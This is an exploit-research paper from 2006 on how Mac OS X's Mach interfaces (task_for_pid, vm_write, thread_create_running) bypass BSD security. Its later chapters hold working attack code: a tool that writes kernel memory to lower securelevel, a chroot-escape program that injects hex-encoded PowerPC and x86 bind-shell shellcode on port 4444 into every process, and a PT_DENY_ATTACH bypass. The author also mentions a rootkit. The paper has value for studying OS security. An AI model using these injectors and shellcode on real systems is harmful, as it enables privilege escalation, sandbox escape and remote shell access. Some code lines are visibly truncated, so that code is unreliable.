Abusing Mach on Mac OS X

May, 2006

nemo
nemo@felinemenace.org

Contents

Chapter 1

Foreword

Abstract: This paper discusses the security implications of Mach being integrated with the Mac OS X kernel. A few examples are used to illustrate how Mach support can be used to bypass some of the BSD security features, such as securelevel. Furthermore, examples are given that show how Mach functions can be used to supplement the limited ptrace functionality included in Mac OS X.

Hello reader. I am writing this paper for two reasons. The first reason is to provide some documentation on the Mach side of Mac OS X for people who are unfamiliar with this and interested in looking into it. The second reason is to document my own research, as I am fairly inexperienced with Mach programming. Because of this fact, this paper may contain errors. If this is the case, please email me at nemo@felinemenace.org and I will try to correct it.

Chapter 2

Introduction

This paper will try to provide a basic introduction to the Mach kernel including its history and general design. From there, details will be provided about how these concepts are implemented on Mac OS X. Finally, this paper will illustrate some of the security concerns which arise when trying to mix UNIX and Mach together. In this vein, I came across an interesting quote from the Apple(.com) website[2].

"You can send messages to this port to start and stop the task, kill the task, manipulate the tasks address space, and so forth. Therefore, whoever owns a send right for a tasks port effectively owns the task and can manipulate the tasks state without regard to BSD security policies or any higher-level security policies."

"In other words, an expert in Mach programming with local administrator access to a Mac OS X machine can bypass BSD and higher-level security features."

Sounds like a valid model on which to build a server platform to me...

Chapter 3

History of Mach

The Mach kernel began its life at the Carnegie Mellon University (CMU) [1] and was originally based off an operating system named "Accent". It was initially built inside the 4.2BSD kernel. As each of the Mach components were written, the equivilant BSD component was removed and replaced. Because of this fact, early versions of Mach were monolithic kernels, similar to xnu, with BSD code and Mach combined.

Mach was predominantly designed around the need for multi-processor support. It was also designed as a Micro-kernel, however xnu, the implementation used by Mac OS X, is not a micro-kernel. This is due to the fact that the BSD code, as well as other subsystems, are included in the kernel.

Chapter 4

Basic Concepts

This section will run over some of the high level concepts associated with Mach. These concepts have been documented repeatedly by various people who are vastly more talented at writing than I am. For that reason, I advise you to follow some of the links provided in the references section of this paper.

Mach uses various abstractions to represent the components of the system. These abstractions can be confusing for someone with a UNIX background so I'll define them now.

4.1 Tasks

A task is a logical representation of an execution environment. Tasks are used in order to divide system resources between each running program. Each task has its own virtual address space and privilege level. Each task contains one or more threads. The tasks address space and resources are shared between each of its threads.

On Mac OS X, new tasks can be created using either the `task_create()` function or the `fork()` BSD syscall.

4.2 Threads

In Mach, a thread is an independent execution entity. Each thread has its own registers and scheduling policies. Each thread has access to all the elements within the task it is contained within.

On Mac OS X, a list of all the threads in a task can be obtained using the `task_threads()` function shown below.

```
kern_return_t   task_threads
(task_t                                  task,
 thread_act_port_array_t            thread_list,
 mach_msg_type_number_t*           thread_count);
```

The Mach API on Mac OS X provides a variety of functions for dealing with threads. Through this API, new threads can easily be created, register contents can be modified and retrieved, and so on.

4.3 Msgs

Messages are used in Mach in order to provide communicate between threads. A message is made up of a collection of data objects. Once a message is created it is sent to a port for which the invoking task has the appropriate port rights. Port rights can be sent between tasks as a message. Messages are queued at the destination and processed at the liberty of the receiving thread.

On Mac OS X, the `mach_msg()` function be used to send and receive messages to and from a port. The declaration for this function is shown below.

```
mach_msg_return_t   mach_msg
    (mach_msg_header_t               msg,
     mach_msg_option_t             option,
     mach_msg_size_t            send_size,
     mach_msg_size_t         receive_limit,
     mach_port_t              receive_name,
     mach_msg_timeout_t            timeout,
     mach_port_t                    notify);
```

4.4 Ports

A port is a kernel controlled communication channel. It provides the ability to pass messages between threads. A thread with the appropriate port rights for a port is able to send messages to it. Multiple ports which have the appropriate port rights are able to send messages to a single port concurrently. However, only a single task may receive messages from a single port at any given time. Each port has an associated message queue.

4.5 Port Set

A port set is (unsurprisingly) a collection of Mach ports. Each of the ports in a port set use the same queue of messages.

Chapter 5

Mach Traps (system calls)

In order to combine Mach and BSD into one kernel (xnu), syscall numbers are divided into different tables. On a PowerPC system, when the "sc" instruction is executed, the syscall number is stored in r0 and used to determine which syscall to execute. Positive syscall numbers (smaller than 0x6000) are treated as FreeBSD syscalls. In this case the `sysent` table is offset and the appropriate function pointer is used.

In cases where the syscall number is greater than 0x6000, PPC specific syscalls are used and the "PPCcalls" table is offset. However, in the case of a negative syscall number, the `mach_trap_table` is indexed and used.

The code below is taken from the xnu source and shows this process.

```
oris    r15,r15,SAVsyscall >> 16     ; Mark that it this is a
                                     ; syscall

cmplwi  r10,0x6000                   ; Is it the special ppc-only
                                     ; guy?
stw     r15,SAVflags(r30)            ; Save syscall marker
beq--   cr6,exitFromVM               ; It is time to exit from
                                     ; alternate context...

beq--   ppcscall                     ; Call the ppc-only system
                                     ; call handler...

mr.     r0,r0                        ; What kind is it?
mtmsr   r11                          ; Enable interruptions

blt--   .L_kernel_syscall            ; System call number if
```

```
                                        ; negative, this is a mach call...

    lwz     r8,ACT_TASK(r13)            ; Get our task
    cmpwi   cr0,r0,0x7FFA               ; Special blue box call?
    beq--   .L_notify_interrupt_syscall ; Yeah, call it...
```

On an Intel system, things are a little different. The "int 0x81" (cd 81) instruction is used to call Mach traps. The "sysenter" instruction is used for the BSD syscalls. However, the syscall number convention remains the same. The eax register is used to store the syscall number in either case.

It seems that most people developing shellcode on Mac OS X stick to using the FreeBSD syscalls. This may be due to lack of familiarity with Mach traps, so hopefully this paper is useful in re-mediating that. I have extracted a list of the Mach traps in the `mach_trap_table` from the xnu kernel. (792.6.22).

5.1 List of mach traps in xnu-792.6.22

```
/* 26 */ mach_reply_port
/* 27 */ thread_self_trap
/* 28 */ task_self_trap
/* 29 */ host_self_trap
/* 31 */ mach_msg_trap
/* 32 */ mach_msg_overwrite_trap
/* 33 */ semaphore_signal_trap
/* 34 */ semaphore_signal_all_trap
/* 35 */ semaphore_signal_thread_trap
/* 36 */ semaphore_wait_trap
/* 37 */ semaphore_wait_signal_trap
/* 38 */ semaphore_timedwait_trap
/* 39 */ semaphore_timedwait_signal_trap
/* 41 */ init_process
/* 43 */ map_fd
/* 45 */  task_for_pid
/* 46 */ pid_for_task
/* 48 */ macx_swapon
/* 49 */ macx_swapoff
/* 51 */ macx_triggers
/* 52 */ macx_backing_store_suspend
/* 53 */ macx_backing_store_recovery
/* 59 */  swtch_pri
/* 60 */ swtch
/* 61 */ thread_switch
```

```
/* 62 */ clock_sleep_trap
/* 89 */ mach_timebase_info_trap
/* 90 */ mach_wait_until_trap
/* 91 */ mk_timer_create_trap
/* 92 */ mk_timer_destroy_trap
/* 93 */ mk_timer_arm_trap
/* 94 */ mk_timer_cancel_trap
/* 95 */ mk_timebase_info_trap
/* 100 */ iokit_user_client_trap
```

When executing one of these traps the number on the left hand side (multiplied by -1) must be placed into the eax register. (intel) Each of the arguments must be pushed to the stack in reverse order. Although I could go into a low level description of how to send a mach msg here, the paper [11] in the references has already done this and the author is a lot better at it than me. I strongly suggest reading this paper if you are at all interested in the subject matter.

Chapter 6

MIG

Due to the fact that Mach was designed as a micro-kernel and designed to function across multiple processors and machines, a large portion of the functionality is implemented by sending messages between tasks. In order to facilitate this process, IPC interfaces must be defined to provide the added functionality.

To achieve this, Mach (and Apple) use a language called "Mach Interface Generator" (MIG). MIG is a subset of the Matchmaker language, which generates C or C++ interfaces for sending messages between tasks.

When using MIG, files with the extension ".defs" are written containing a description of the interface. These files are compiled into a .c/.cpp file and a .h header file. This is done using the /usr/bin/mig tool on Mac OS X. These generated files contain the appropriate C or C++ stub code in order to handle the messages defined in the defs file.

This can be confusing for someone from a UNIX or Windows background who is new to Mach/Mac OS X. Many of the Mach functions discussed in this paper are actually implemented as a .defs file. These files are shipped with the xnu source (which is no longer available).

An example from one of these files (osfmk/mach/mach_vm.defs) showing the definition of the `vm_allocate()` function is provided below.

```
/*
 *      Allocate zero-filled memory in the address space
 *      of the target task, either at the specified address,
 *      or wherever space can be found (controlled by flags),
 *      of the specified size.  The address at which the
 *      allocation actually took place is returned.
 */
```

```
#if !defined(_MACH_VM_PUBLISH_AS_LOCAL_)
routine mach_vm_allocate(
#else
routine vm_allocate(
#endif
                target          : vm_task_entry_t;
        inout   address         : mach_vm_address_t;
                size            : mach_vm_size_t;
                flags           : int);
```

It's useful to compile these .defs files with the /usr/bin/mig tool and then read the generated c code to work out what should be done when writing shellcode with the `mach_msg` mach trap.

For more information on MIG check out [6]. Also, Richard Draves did a talk on MIG, his slides are available from [7].

Chapter 7

Replacing ptrace()

A lot of people seem to move to Mac OS X from a Linux or BSD background and therefore expect the ptrace() syscall to be useful. However, unfortunately, this isn't the case on Mac OSX. For some ungodly reason, Apple decided to leave `ptrace()` incomplete and unable to do much more than take a feeble attempt at an anti-debug mechanism or single step the process.

As it turns out, the anti-debug mechanism (`PT_DENY_ATTACH`) only stops future ptrace() calls from attaching to the process. Since `ptrace()` functionality is highly limited on Mac OS X anyway, and `task_for_pid()` is unrestricted, this basically has no purpose.

In this section I will run through the missing features from a *real* implementation of ptrace and show you how to implement them on Mac OS X.

The first and most useful thing we'll look at is how to get a port for a task. Assuming you have sufficient privileges to do so, you can call the `task_for_pid()` function providing a unix process id and you will receive a port for that task.

This function is pretty straightforward to use and works as you'd expect.

```
pid_t  pid;
task_t port;

task_for_pid(mach_task_self(), pid, &port);
```

After this call, if sufficient privileges were held, a port will be returned in "port". This can then be used with later API function calls in order to manipulate the target tasks resources. This is pretty similar conceptually to the `ptrace()` `PTRACE_ATTACH` functionality.

One of the most noticeable changes to `ptrace()` on Mac OS X is the fact that it is no longer possible to retrieve register state as you would expect. Typically, the ptrace() commands `PTRACE_GETREGS` and `PTRACE_GETFPREGS` would be used to get register contents. Fortunately this can be achieved quite easily using the Mach API.

The `task_threads()` function can be used with a port in order to get a list of the threads in the task.

```
thread_act_port_array_t thread_list;
mach_msg_type_number_t thread_count;

task_threads(port, &thread_list, &thread_count);
```

Once you have a list of threads, you can then loop over them and retrieve register contents from each. This can be done using the `thread_get_state()` function.

The code below shows the process involved for retrieving the register contents from a thread (in this case the first thread) of a `thread_act_port_array_t` list.

```
NOTE:
This code will only work on ppc machines, i396_thread_state_t type is
used for intel.


ppc_thread_state_t ppc_state;
mach_msg_type_number_t sc = PPC_THREAD_STATE_COUNT;
long thread = 0; // for first thread

thread_get_state(
  thread_list[thread],
  PPC_THREAD_STATE,
  (thread_state_t)&ppc_state,
  &sc
);
```

For PPC machines, you can then print out the registered contents for a desired register as so:

```
printf(" lr: 0x%x\n",ppc_state.lr);
```

Now that register contents can be retrieved, we'll look at changing them and updating the thread to use our new contents.

This is similar to the ptrace PTRACE_SETREGS and PTRACE_SETFPREGS requests on Linux. We can use the mach call thread_set_state to do this. I have written some code to put these concepts together into a tiny sample program.

The following small assembly code will continue to loop until the r3 register is nonzero.

```
.globl _main
_main:

li      r3,0
up:
cmpwi   cr7,r3,0
beq-    cr7,up
trap
```

The C code below attaches to the process and modifies the value of the r3 register to 0xdeadbeef.

```
/*
 * This sample code retrieves the old value of the
 * r3 register and sets it to 0xdeadbeef.
 *
 * - nemo
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <mach/mach_types.h>
#include <mach/ppc/thread_status.h>

void error(char *msg)
{
        printf("[!] error: %s.\n",msg);
        exit(1);
}

int main(int ac, char **av)
{
        ppc_thread_state_t ppc_state;
        mach_msg_type_number_t sc = PPC_THREAD_STATE_COUNT;
        long thread = 0;        // for first thread
        thread_act_port_array_t thread_list;
```

```
        mach_msg_type_number_t thread_count;
        task_t  port;
        pid_t   pid;

        if(ac != 2) {
                printf("usage: %s <pid>\n",av[0]);
                exit(1);
        }

        pid = atoi(av[1]);

        if(task_for_pid(mach_task_self(), pid, &port))
                error("cannot get port");

        // better shut down the task while we do this.
        if(task_suspend(port)) error("suspending the task");

        if(task_threads(port, &thread_list, &thread_count))
                error("cannot get list of tasks");


        if(thread_get_state(
                        thread_list[thread],
                        PPC_THREAD_STATE,
                        (thread_state_t)&ppc_state,
                        &sc
        )) error("getting state from thread");

        printf("old r3: 0x%x\n",ppc_state.r3);

        ppc_state.r3 = 0xdeadbeef;

        if(thread_set_state(
                        thread_list[thread],
                        PPC_THREAD_STATE,
                        (thread_state_t)&ppc_state,
                        sc
        )) error("setting state");

        if(task_resume(port)) error("cannot resume the task");

        return 0;
}
```

A sample run of these two programs is as follows:

```
-[nemo@gir:~/code]$ ./tst&
[1] 5302
-[nemo@gir:~/code]$ gcc chgr3.c -o chgr3
-[nemo@gir:~/code]$ ./chgr3 5302
old r3: 0x0
-[nemo@gir:~/code]$
[1]+  Trace/BPT trap          ./tst
```

As you can see, when the C code is run, ./tst has it's r3 register modified and the loop exits, hitting the trap.

Some other features which have been removed from the ptrace() call on Mac OS X are the ability to read and write memory. Again, we can achieve this functionality using Mach API calls. The functions `vm_write()` and `vm_read()` (as expected) can be used to write and read the address space of a target task.

These calls work pretty much how you would expect. However there are examples throughout the rest of this paper which use these functions. The functions are defined as follows:

```
kern_return_t   vm_read
                (vm_task_t                          target_task,
                 vm_address_t                           address,
                 vm_size_t                                 size,
                 size                                   data_out,
                 target_task                          data_count);


kern_return_t   vm_write
                (vm_task_t                          target_task,
                 vm_address_t                           address,
                 pointer_t                                 data,
                 mach_msg_type_number_t               data_count);
```

These functions provide similar functionality to the ptrace requests: `PTRACE_POKETEXT`, `PTRACE_POKEDATA` and `PTRACE_POKEUSR`.

The memory being read/written must have the appropriate protection in order for these functions to work correctly. However, it is quite easy to set the protection attributes for the memory before the read or write takes place. To do this, the `vm_protect()` API call can be used.

```
kern_return_t   vm_protect
                 (vm_task_t           target_task,
                  vm_address_t            address,
```

```
                vm_size_t                  size,
                boolean_t            set_maximum,
                vm_prot_t        new_protection);
```

The `ptrace()` syscall on Linux also provides a way to step a process up to the point where a syscall is executed. The `PTRACE_SYSCALL` request is used for this. This functionality is useful for applications such as "strace" to be able to keep track of system calls made by an application. Unfortunately, this feature does not exist on Mac OS X. The Mach api provides a very useful function which would provide this functionality.

```
kern_return_t   task_set_emulation
                (task_t                                  task,
                 vm_address_t                routine_entry_pt,
                 int                           syscall_number);
```

This function would allow you to set up a userspace handler for a syscall and log it's execution. However, this function has not been implemented on Mac OS X.

Chapter 8

Code injection

The concept of using the Mach API in order to inject code into another task has been demonstrated numerous times. The most well known implementation is named `mach_inject`[4]. This code uses `task_for_pid()` to get a port for the chosen pid. The `thread_create_running()` function is used to create a thread in the task and set the register state. In this way control of execution is gained. This code has been rewritten using the same method for the intel platform[5].

It's also pretty easy to set the thread starting state to point to the `dlopen()` function and load a dylib from disk. Or even `vm_map()` an object file into the process space by hand and fix up relocations yourself.

Chapter 9

Moving into the kernel

Since Mac OS X 10.4.6 on intel systems (the latest release of Mac OSX at the time of writing this paper) both /dev/kmem and /dev/mem have been removed. Because of this fact, a new method for entering and manipulating the kernel memory is needed.

Luckily, Mach provides a solution. By using the `task_for_pid()` mach trap and passing in pid=0 the kernel `mach_port_t` port is available. Obviously, root privileges are required in order to do so.

Once this port is acquired, you are able to read and write directly to the kernel memory using the `vm_read()` and `vm_write()` functions. You can also `vm_map()` or `vm_remap()` files and mappings directly into kernel memory.

I am using this functionality for a new version of the WeaponX rootkit, but there are plenty other reasons why this is useful.

Chapter 10

Security considerations of a UNIX / Mach hybrid

Many problems arise when both UNIX and Mach aspects are provided on the same system. As the quote from the Apple Security page [2] says (mentioned in the introduction). A good Mach programmer will be able to bypass high level BSD security functionality by using the Mach API/Mach Traps on Mac OS X.

In this section I will run through a couple of examples of situations where BSD security can be bypassed. There are many more cases like this. I'll leave it up to you (the reader) to find more.

The first bypass which we will look at is the "kern.securelevel" sysctl. This sysctl is used to restrict various functionality from the root user. When this sysctl is set to -1, the restrictions are non-existent. Under normal circumstances the root user should be able to raise the securelevel however lowering the securelevel should be restricted.

Here is a demonstration of this:

```
-[root@fry:~]$ id
uid=0(root) gid=0(wheel)

-[root@fry:~]$ sysctl -a | grep securelevel
kern.securelevel = 1

-[root@fry:~]$ sysctl -w kern.securelevel=-1
kern.securelevel: Operation not permitted

-[root@fry:~]$ sysctl -w kern.securelevel=2
```

```
kern.securelevel: 1 -> 2

-[root@fry:~]$ sysctl -w kern.securelevel=1
kern.securelevel: Operation not permitted
```

As you can see, modification of this sysctl works as described above. However! Due to the fact that we can `task_for_pid()` pid=0 and write to kernel memory, we can bypass this.

In order to do this, we simply get the address of the variable in kernel- space which stores the securelevel. To do this we can use the 'nm' tool.

```
-[root@fry:~]$ nm /mach_kernel | grep securelevel
004bcf00 S _securelevel
```

We can then use this value by calling `task_for_pid()` to get the kernel task port, and calling `vm_write()` to write to this address. The code below does this.

Here is an example of this code being used.

```
-[root@fry:~]$ sysctl -a | grep securelevel
kern.securelevel = 1

-[root@fry:~]$ ./slevel -1
[+] done!

-[root@fry:~]$ sysctl -a | grep securelevel
kern.securelevel = -1
```

A kext could also be used for this. But this is neater and relevant.

```
/*
 * [ slevel.c ]
 * nemo@felinemenace.org
 * 2006
 *
 * Tools to set the securelevel on
 * Mac OSX Build 8I1119 (10.4.6 intel).
 */


#include <mach/mach.h>
#include <stdint.h>
#include <stdlib.h>
```

```
#include <stdio.h>

// -[nemo@fry:~]$ nm /mach_kernel | grep securelevel
// 004bcf00 S _securelevel
#define  SECURELEVELADDR 0x004bcf00

void error(char *msg)
{
        printf("[!] error: %s\n",msg);
        exit(1);
}

void usage(char *progname)
{
        printf("[+] usage: %s <value>\n",progname);
        exit(1);
}

int main(int ac, char **av)
{
        mach_port_t    kernel_task;
        kern_return_t  err;
        long           value = 0;

        if(ac != 2)
                usage(*av);

        if(getuid() && geteuid())
                error("requires root.");

        value = atoi(av[1]);

        err = task_for_pid(mach_task_self(),0,&kernel_task);
        if ((err != KERN_SUCCESS) || !MACH_PORT_VALID(kernel_task))
                error("getting kernel task.");

        // Write values to stack.
        if(vm_write(kernel_task, (vm_address_t) SECURELEVELADDR, (vm_address_t)&value, sizeo
                error("writing argument to dlopen.");

        printf("[+] done!\n");
        return 0;
}
```

The `chroot()` call is a UNIX mechanism which is often (mis)used for security

purposes. This can also be bypassed using the Mach API/functionality. A process running on Mac OSX within a `chroot()` is able to attach to any process outside using the `task_for_pid()` Mach trap. Although neither of these problems are significant, they are an indication of some of the ways that UNIX functionality can be bypassed using the Mach API.

The code below simply loops through all pids from 1 upwards and attempts to inject a small code stub into a new thread. It is written for PowerPC architecture. I have also included some shellcode for intel arch in case anyone has the need to use it in these circumstances.

```
/*
 * sample code to break chroot() on osx
 * - nemo
 *
 * This code is a PoC and by so, is pretty harsh
 * I just trap in any process which isn't desirable.
 * DO NOT RUN ON A PRODUCTION BOX (or if you do, email
 * me the results so I can laugh at you)
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <mach/mach.h>
#include <mach/ppc/thread_status.h>
#include <mach/i386/thread_state.h>
#include <dlfcn.h>

#define STACK_SIZE 0x6000
#define MAXPID   0x6000

char ppc_probe[] =
// stat code
"\x38\x00\x00\xbc\x7c\x24\x0b\x78\x38\x84\xff\x9c\x7c\xc6\x32"
"\x79\x40\x82\xff\xf1\x7c\x68\x02\xa6\x38\x63\x00\x18\x90\xc3"
"\x00\x0c\x44\x00\x00\x02\x7f\xe0\x00\x08\x48\x00\x00\x14"
"/mach_kernelAAAA"
// bindshell from metasploit. Port 4444
"\x38\x60\x00\x02\x38\x80\x00\x01\x38\xa0\x00\x06\x38\x00\x00"
"\x61\x44\x00\x00\x02\x7c\x00\x02\x78\x7c\x7e\x1b\x78\x48\x00"
"\x00\x0d\x00\x02\x11\x5c\x00\x00\x00\x00\x7c\x88\x02\xa6\x38"
"\xa0\x00\x10\x38\x00\x00\x68\x7f\xc3\xf3\x78\x44\x00\x00\x02"
"\x7c\x00\x02\x78\x38\x00\x00\x6a\x7f\xc3\xf3\x78\x44\x00\x00"
```

```
"\x02\x7c\x00\x02\x78\x7f\xc3\xf3\x78\x38\x00\x00\x1e\x38\x80"
"\x00\x10\x90\x81\xff\xe8\x38\xa1\xff\xe8\x38\x81\xff\xf0\x44"
"\x00\x00\x02\x7c\x00\x02\x78\x7c\x7e\x1b\x78\x38\xa0\x00\x02"
"\x38\x00\x00\x5a\x7f\xc3\xf3\x78\x7c\xa4\x2b\x78\x44\x00\x00"
"\x02\x7c\x00\x02\x78\x38\xa5\xff\xff\x2c\x05\xff\xff\x40\x82"
"\xff\xe5\x38\x00\x00\x42\x44\x00\x00\x02\x7c\x00\x02\x78\x7c"
"\xa5\x2a\x79\x40\x82\xff\xfd\x7c\x68\x02\xa6\x38\x63\x00\x28"
"\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8\x38\x00\x00"
"\x3b\x7c\x00\x04\xac\x44\x00\x00\x02\x7c\x00\x02\x78\x7f\xe0"
"\x00\x08\x2f\x62\x69\x6e\x2f\x63\x73\x68\x00\x00\x00\x00";

unsigned char x86_probe[] =
// stat code, cheq for /mach_kernel. Makes sure we're outside
// the chroot.
"\x31\xc0\x50\x68\x72\x6e\x65\x6c\x68\x68\x5f\x6b\x65\x68\x2f"
"\x6d\x61\x63\x89\xe3\x53\x53\xb0\xbc\x68\x7f\x00\x00\x00\xcd"
"\x80\x85\xc0\x74\x05\x6a\x01\x58\xcd\x80\x90\x90\x90\x90\x90"
// bindshell - 89 bytes - port 4444
// based off metasploit freebsd code.
"\x6a\x42\x58\xcd\x80\x6a\x61\x58\x99\x52\x68\x10\x02\x11\x5c"
"\x89\xe1\x52\x42\x52\x42\x52\x6a\x10\xcd\x80\x99\x93\x51\x53"
"\x52\x6a\x68\x58\xcd\x80\xb0\x6a\xcd\x80\x52\x53\x52\xb0\x1e"
"\xcd\x80\x97\x6a\x02\x59\x6a\x5a\x58\x51\x57\x51\xcd\x80\x49"
"\x0f\x89\xf1\xff\xff\xff\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x54\x54\x53\x53\xb0\x3b\xcd\x80";

int injectppc(pid_t pid,char *sc,unsigned int size)
{
        kern_return_t ret;
        mach_port_t mytask;
        vm_address_t stack;
        ppc_thread_state_t ppc_state;
        thread_act_t thread;
        long blr = 0x7fe00008;

        if ((ret = task_for_pid(mach_task_self(), pid, &mytask)))
return -1;

        // Allocate room for stack and shellcode.
        if(vm_allocate(mytask, &stack, STACK_SIZE, TRUE) != KERN_SUCCESS)
return -1;

// Write in our shellcode
        if(vm_write(mytask, (vm_address_t)((stack + 650)&~2), (vm_address_t)sc, size))
return -1;
```

```
        if(vm_write(mytask, (vm_address_t) stack + 960, (vm_address_t)&blr, sizeof(blr)))
return -1;

// Just in case.
  if(vm_protect(mytask,(vm_address_t) stack, STACK_SIZE,
VM_PROT_READ|VM_PROT_WRITE|VM_PROT_EXECUTE,VM_PROT_READ|VM_PROT_WRITE|VM_PROT_EXECUTE))
return -1;


        memset(&ppc_state,0,sizeof(ppc_state));
        ppc_state.srr0  = ((stack + 650)&~2);
        ppc_state.r1    = stack + STACK_SIZE - 100;
        ppc_state.lr    = stack + 960;          // terrible blr cpu usage but this
// whole code is a hack so shutup!.

        if(thread_create_running(mytask, PPC_THREAD_STATE,
          (thread_state_t)&ppc_state, PPC_THREAD_STATE_COUNT, &thread)
        != KERN_SUCCESS)
return -1;

        return 0;
}

int main(int ac, char **av)
{
pid_t pid;
// (pid = 0) == kernel
printf("[+] Breaking chroot() check for a non-chroot()ed shell on port 4444 (TCP).\n");
for(pid = 1; pid <= MAXPID ; pid++)
injectppc(pid,ppc_probe,sizeof(ppc_probe));

return 0;
}
```

The output below shows a sample run of this code on a stock standard Mac OSX 10.4.6 Mac mini. As you can see, a non privilege user within the `chroot()` is able to attach to a process running at the same privilege level outside of the `chroot()`. Some shellcode can then be injected into the process to bind a shell.

```
-[nemo@gir:~/code]$ gcc break.c -o break
-[nemo@gir:~/code]$ cp break chroot/
-[nemo@gir:~/code]$ sudo chroot chroot/
-[root@gir:/]$ ./dropprivs
```

An interesting note about this little ./dropprivs program is that I had to use

seteuid()/setuid() separately rather than using the setreuid() function. It appears setreuid() and setregid() don't actually work at all. Andrewg summed this situation up nicely:

```
<andrewg> best backdoor ever
```

```
-[nemo@gir:/]$ ./break
[+] Breaking chroot() check for a non-chroot()ed shell on port 4444 (TCP).
-[nemo@gir:/]$ Illegal instruction
-[root@gir:/]$ nc localhost 4444
ls -lsa /mach_kernel
8472 -rw-r--r--   1 root  wheel  4334508 Mar 27 14:27 /mach_kernel
id;
uid=501(nemo) gid=501(nemo) groups=501(nemo)
```

Another method of breaking out from a chroot() environment would be to simply `task_for_pid()` pid 0 and write into kernel memory. However since this would require root privileges I didn't bother to implement it. This code could quite easily be implemented as shellcode. However, due to time constraints and lack of caring, I'll leave it up to you to do so.

ptrace

As I mentioned in the ptrace section of this paper, the ptrace() syscall has been heavily bastardized and is pretty useless now. However, a new ptrace command `PT_DENY_ATTACH` has been implemented to enable a process to request that other processes will not be able to ptrace attach to it.

The following sample code shows the use of this:

```
#include <stdio.h>
#include <sys/types.h>
#include <sys/ptrace.h>

static int changeme =  0;

int main(int ac, char **av)
{

ptrace(PT_DENY_ATTACH, 0, 0, 0);

while(1) {
if(changeme) {
printf("[+] hacked.\n");
exit(1);
```

```
}
}

return 1;
}
```

This code does nothing but sit and spin while checking the status of a global variable which is never changed. As you can see below, if we try to attach to this process in gdb (which uses ptrace) our process will receive a SIGSEGV.

```
(gdb) at hackme.25143
A program is being debugged already.  Kill it? (y or n) y
Attaching to program: `/Users/nemo/hackme', process 25143.
Segmentation fault
```

However we can use the Mach API, as mentioned earlier, and still attach to the process just fine. We can use the 'nm' command in order to get the address of the static changeme variable.

```
-[nemo@fry:~]$ nm hackme | grep changeme
0000202c b _changeme
```

Then, using the following code, we `task_for_pid()` the process and modify the contents of this variable (as an example.)

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <mach/mach.h>
#include <dlfcn.h>

#define CHANGEMEADDR 0x202c

void error(char *msg)
{
printf("[!] error: %s\n",msg);
exit(1);
}

int main(int ac, char **av)
{
```

```
mach_port_t port;
long    content = 1;

if(ac != 2) {
printf("[+] usage: %s <pid>\n",av[0]);
exit(1);
}

if(task_for_pid(mach_task_self(), atoi(av[1]), &port))
error("_|_");

if(vm_write(port, (vm_address_t) CHANGEMEADDR, (vm_address_t)&content, sizeof(content)))
error("writing to process");

return 0;
}
```

As you can see below, this will result in the loop terminating as expected.

```
-[nemo@fry:~]$ ./hackme
[+] hacked.
-[nemo@fry:~]$
```

Chapter 11

Conclusion

Well you actually read all the way to the bottom of this paper! Hope it wasn't too boring. Things are changing a little on Mac OS X. The later releases (10.4.6) on Intel have new restrictions in place on the `task_for_pid()` function. These restrictions require you to be part of the "procmod" group or root in order to call the `task_for_pid()` mach trap. Luckily these restrictions are easily bypassable.

There is also mixed discussion (gossip) about whether or not Mach will be completely removed from Mac OS X in future. I have no idea how true (or not) this is though.

If you noticed any problems with the content, as I mentioned earlier, please email me at nemo@felinemenace.org and let me know. No pointless (unconstructive) criticism please though.

Thanks to everyone at felinemenace and pulltheplug for your ongoing support and friendship. Also thanks to anyone who proof read this paper for me and to the uninformed team for giving me the opportunity to publish this.

Bibliography

[1] CMU. *The Mach Project*.
http://www.cs.cmu.edu/afs/cs/project/mach/public/www/mach.html

[2] Apple. *Apple Security Overview*.
http://developer.apple.com/documentation/Security/Conceptual/Security_Overview/Concepts/chapter_3_section_9.html

[3] Mach. *Mach Man-pages*.
http://felinemenace.org/~nemo/mach/manpages

[4] Rentzsch. *Mach Inject*.
http://rentzsch.com/mach_inject/

[5] Guiheneuf. *Mach Inject*.
http://guiheneuf.org/Site/mach%20inject%20for%20intel.html

[6] Richard P. Draves/Michael B. Jones and Mary R. Thompson. *Mach Interface Generator*.
http://felinemenace.org/~nemo/mach/mig.txt

[7] Richard P. Draves. *MIG Slides*.
http://felinemenace.org/~nemo/mach/Slides%20to%20Rich%20Drave's%20talk%20on%20Mig,%20the%20Mach%20Interface%20Generator.pdf

[8] Wikipedia. *Mach Kernel*.
http://en.wikipedia.org/wiki/Mach_kernel

[9] Feline Menace. *The Mach System*.
http://felinemenace.org/~nemo/mach/Mach.txt

[10] OSX Code. *Mach*.
http://www.osxcode.com/index.php?pagename=Articles&article=10

[11] CMU. *A Programmer's Guide to the Mach System Calls*.
http://www.cs.cmu.edu/afs/cs/project/mach/public/www/doc/abstracts/machsys.html

[12] CMU. *A Programmer's Guide to the Mach User Environment.* http://www.cs.cmu.edu/afs/cs/project/mach/public/www/doc/abstracts/machuse.html